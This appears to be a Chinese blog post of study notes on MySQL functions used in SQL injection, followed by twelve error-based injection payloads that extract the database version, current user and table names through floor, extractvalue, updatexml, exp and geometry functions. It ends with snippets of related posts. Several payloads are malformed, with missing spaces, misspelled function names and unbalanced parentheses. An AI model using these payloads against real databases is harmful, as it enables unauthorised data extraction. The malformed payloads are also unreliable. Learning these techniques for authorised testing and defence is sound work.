sql 注入 相關函式

2021-09-20 18:28:50 字數 2510 閱讀 2190

1,mid()---從文字欄位中提取字元

2,limit()---返回前幾條或者中間某幾行資料 ,其m指記錄始index0始表示第條記錄 n指第m+1條始取n條

3,mysql的concat函式在連線字串的時候,只要其中乙個是null,那麼將返回null

4,和concat不同的是, concat_ws函式在執行的時候,不會因為null值而返回null

5,group_concat([distinct] 要連線的字段 [order by asc/desc 排序字段] [separator '分隔符'])

6,count()---聚集函式,統計元組(列)的個數

7,random()---用於產生乙個0~1的隨機數

8,floor()---向下取整

9,group by---依據我們想要的規則對結果進行分組

10,substr()---擷取字串 三個引數 (所要擷取字串,擷取的位置,擷取的長度)

11,ascii()---返回字串的ascii碼

12,load_file()函式,可以幫助使用者快速讀取檔案,但是檔案位置必須在伺服器上,檔案路徑必須為絕對路徑,而且需要root許可權,

13,ord(str): 在python 中 ord() 函式是 chr() 函式(對於8位的ascii字串)或 unichr() 函式(對於unicode物件)的配對函式,它以乙個字元(長度為1的字串)作為引數,返回對應的 ascii 數值,或者 unicode 數值,如果所給的 unicode 字元超出了你的 python 定義範圍,則會引發乙個 typeerror 的異常。

在 php 中  ord() 函式返回字串中第乙個字元的 ascii 值。

if(a,b,c):a為條件,a為true,返回b,否則返回c,如if(1>2,1,0),返回0

14,其實就是相當於我們熟悉的html檔案中用 標籤查詢元素一樣

語法:extractvalue(目標xml文件,xml路徑)

第二個引數 xml中的位置是可操作的地方,xml文件中查詢字元位置是用 /***/***/***/…這種格式,如果我們寫入其他格式,就會報錯,並且會返回我們寫入的非法格式內容,而這個非法的內容就是我們想要查詢的內容。

正常查詢 第二個引數的位置格式 為 /***/xx/xx/xx ,即使查詢不到也不會報錯

15 各種報錯playload:

1、通過floor報錯,注入語句如下:

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2、通過extractvalue報錯,注入語句如下:

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

3、通過updatexml報錯,注入語句如下:

and 1=(updatexml(1,concat(0x3a,(select user())),1))

4、通過name_const報錯,注入語句如下:

and exists(select*from (select*from(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)

5、通過join報錯,注入語句如下:

select * from(select * from mysql.user ajoin mysql.user b)c;

6、通過exp報錯,注入語句如下:

and exp(~(select * from (select user () ) a) );

7、通過geometrycollection()報錯,注入語句如下:

and geometrycollection(()select *from(select user () )a)b );

8、通過polygon ()報錯,注入語句如下:

and polygon (()select * from(select user ())a)b );

9、通過multipoint ()報錯,注入語句如下:

and multipoint (()select * from(select user() )a)b );

10、通過multlinestring ()報錯,注入語句如下:

and multlinestring (()select * from(selectuser () )a)b );

11、通過multpolygon ()報錯,注入語句如下:

and multpolygon (()select * from(selectuser () )a)b );

12、通過linestring ()報錯,注入語句如下:

and linestring (()select * from(select user() )a)b );

SQL注入常用函式

sql注入常用函式 有sql語言基礎的人,在sql注入的時候成功率比不熟悉的人高很多。我們有必要提高一下自己的sql水平,特別是一些常用的函式及命令。access asc 字元 sqlserver unicode 字元 作用 返回某字元的ascii碼 access chr 數字 sqlserver ...

預防SQL注入漏洞函式

預防sql注入漏洞函式.僅僅代表我的觀點.不怕見笑.有問題請大家指教 我想如果你是牛人,那這個已經不是值得你看的內容,只是覺得對與很多剛入門的asp程式設計師來說還是有點實際意義,所以不怕被大家笑話,寫了貼在這裡 function checkstr str if isnull str then ch...

預防SQL注入漏洞函式

預防sql注入漏洞函式.僅僅代表我的觀點.不怕見笑.有問題請大家指教 我想如果你是牛人,那這個已經不是值得你看的內容,只是覺得對與很多剛入門的asp程式設計師來說還是有點實際意義,所以不怕被大家笑話,寫了貼在這裡 function checkstr str if isnull str then ch...